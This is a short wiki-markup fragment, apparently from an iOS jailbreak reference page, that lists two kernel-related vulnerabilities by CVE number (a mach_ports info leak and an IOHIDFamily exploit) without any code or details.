* mach_ports info leak {{cve|2014-4496}}<br />
* IOHIDFamily Kernel exploit ({{cve|2014-4487}})</div>
Sjeezpwn